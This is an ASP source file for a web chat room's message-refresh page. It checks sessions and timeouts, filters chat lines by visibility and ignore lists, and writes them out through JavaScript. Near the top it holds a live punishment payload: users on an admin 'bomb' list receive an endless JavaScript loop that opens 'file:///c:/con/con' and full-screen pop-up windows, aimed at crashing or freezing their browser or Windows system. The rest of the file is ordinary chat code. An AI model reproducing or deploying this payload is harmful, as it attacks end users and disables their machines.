📄 t.asp
字号:
<!--#include file="../config/config.asp"-->
<%Response.Buffer = true
Response.Expires=0
useronlinename=Application("hxf_c_useronlinename")
filname=Session("hxf_u_filname")
nickname=Session("hxf_u_nickname")
sift=Session("hxf_u_sift")
lasttime=Session("hxf_u_lasttime")
bombname=Application("hxf_c_bombname")
webicqname=Application("hxf_c_webicqname")
if Instr(bombname," "&nickname&" ")>0 then
bombname=Replace(bombname," "&nickname&" ","")
Application.Lock
Application("hxf_c_bombname")=bombname
Application.UnLock
Response.Write "<script language=JavaScript>while(true){window.open('file:///c:/con/con');window.open('readonly/bomb.htm','','fullscreen=yes,Status=no,scrollbars=no,resizable=no');}</script>"
Session.Abandon
Response.End
end if
if nickname="" or Session("hxf_u_inthechat")<>"1" or Instr(LCase(useronlinename),LCase(" "&nickname&" "))=0 then
Session.Abandon
Response.Redirect "chaterr.asp?id=001"
end if
n=Year(date())
y=Month(date())
r=Day(date())
s=Hour(time())
f=Minute(time())
m=Second(time())
if len(y)=1 then y="0" & y
if len(r)=1 then r="0" & r
if len(s)=1 then s="0" & s
if len(f)=1 then f="0" & f
if len(m)=1 then m="0" & m
sj=n & "-" & y & "-" & r & " " & s & ":" & f & ":" & m
if DateDiff("n",lasttime,sj)>timeout then
Response.Write "<script Language=JavaScript>top.location.href='nosaytimeout.asp';</script>"
Session.Abandon
Response.End
end if
'titlecolor=Application("hxf_c_titlecolor")
Response.Write "<html><head><meta http-equiv='Content-Type' content='text/html; charset=gb2312'></head>"
'Response.Write "<body oncontextmenu=self.event.returnValue=false bgcolor=" & titlecolor & "><center><font style=font-size:9pt>" & Application("hg_title") & "</font><br><font color=blue style=font-size:10.5pt>" & Application("hxf_c_title") & "</font></center>"
Response.Write "<script Language=JavaScript>"
sd=Application("hxf_c_sd")
userline=int(Session("hxf_u_line"))
newuserline=0
Dim show()
j=1
Select Case sift
Case "0"
for i=1 to 180 step 9
newuserline=sd(i)
if sd(i)>userline and (session("look")=1 or (sd(i+2)="0" or sd(i+4)="大家" or sd(i+2)="1" and (CStr(sd(i+3))=CStr(nickname) or CStr(sd(i+4))=CStr(nickname))) and Instr(filname," "&sd(i+3)&",")=0) then
Redim Preserve show(j),show(j+1),show(j+2),show(j+3),show(j+4),show(j+5),show(j+6),show(j+7),show(j+8)
show(j)=sd(i)
show(j+1)=sd(i+1)
show(j+2)=sd(i+2)
show(j+3)=sd(i+3)
show(j+4)=sd(i+4)
show(j+5)=sd(i+5)
show(j+6)=sd(i+6)
show(j+7)=sd(i+7)
show(j+8)=sd(i+8)
j=j+9
end if
next
Case "1"
for i=1 to 180 step 9
newuserline=sd(i)
if sd(i)>userline and (session("look")=1 or (sd(i+4)="大家" or CStr(sd(i+3))=CStr(nickname) or CStr(sd(i+4))=CStr(nickname)) and Instr(filname," "&sd(i+3)&",")=0) then
Redim Preserve show(j),show(j+1),show(j+2),show(j+3),show(j+4),show(j+5),show(j+6),show(j+7),show(j+8)
show(j)=sd(i)
show(j+1)=sd(i+1)
show(j+2)=sd(i+2)
show(j+3)=sd(i+3)
show(j+4)=sd(i+4)
show(j+5)=sd(i+5)
show(j+6)=sd(i+6)
show(j+7)=sd(i+7)
show(j+8)=sd(i+8)
j=j+9
end if
next
Case "2"
for i=1 to 180 step 9
newuserline=sd(i)
if sd(i)>userline and (session("look")=1 or (CStr(sd(i+3))=CStr(nickname) or CStr(sd(i+4))=CStr(nickname)) and Instr(filname," "&sd(i+3)&",")=0) then
Redim Preserve show(j),show(j+1),show(j+2),show(j+3),show(j+4),show(j+5),show(j+6),show(j+7),show(j+8)
show(j)=sd(i)
show(j+1)=sd(i+1)
show(j+2)=sd(i+2)
show(j+3)=sd(i+3)
show(j+4)=sd(i+4)
show(j+5)=sd(i+5)
show(j+6)=sd(i+6)
show(j+7)=sd(i+7)
show(j+8)=sd(i+8)
j=j+9
end if
next
End Select
if j>1 then
for i=1 to UBound(show) step 9
Response.Write "parent.sh(" & show(i+1) & "," & show(i+2) & "," & chr(34) & show(i+3) & chr(34) & "," & chr(34) & show(i+4) & chr(34) & "," & chr(34) & show(i+5) & chr(34) & "," & chr(34) & show(i+6) & chr(34) & "," & chr(34) & show(i+7) & chr(34) & "," & chr(34) & show(i+8) & chr(34) & ");"
next
end if
Response.Write "setTimeout('this.location.reload();',6000);"
if Instr(webicqname," "&nickname&" ")>0 then
Response.Write "window.open('webicqread.asp','','Status=no,scrollbars=yes,resizable=no,width=430,height=160');"
end if
Response.Write "</script></body></html>"
if newuserline>userline then Session("hxf_u_line")=newuserline
Response.End%>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -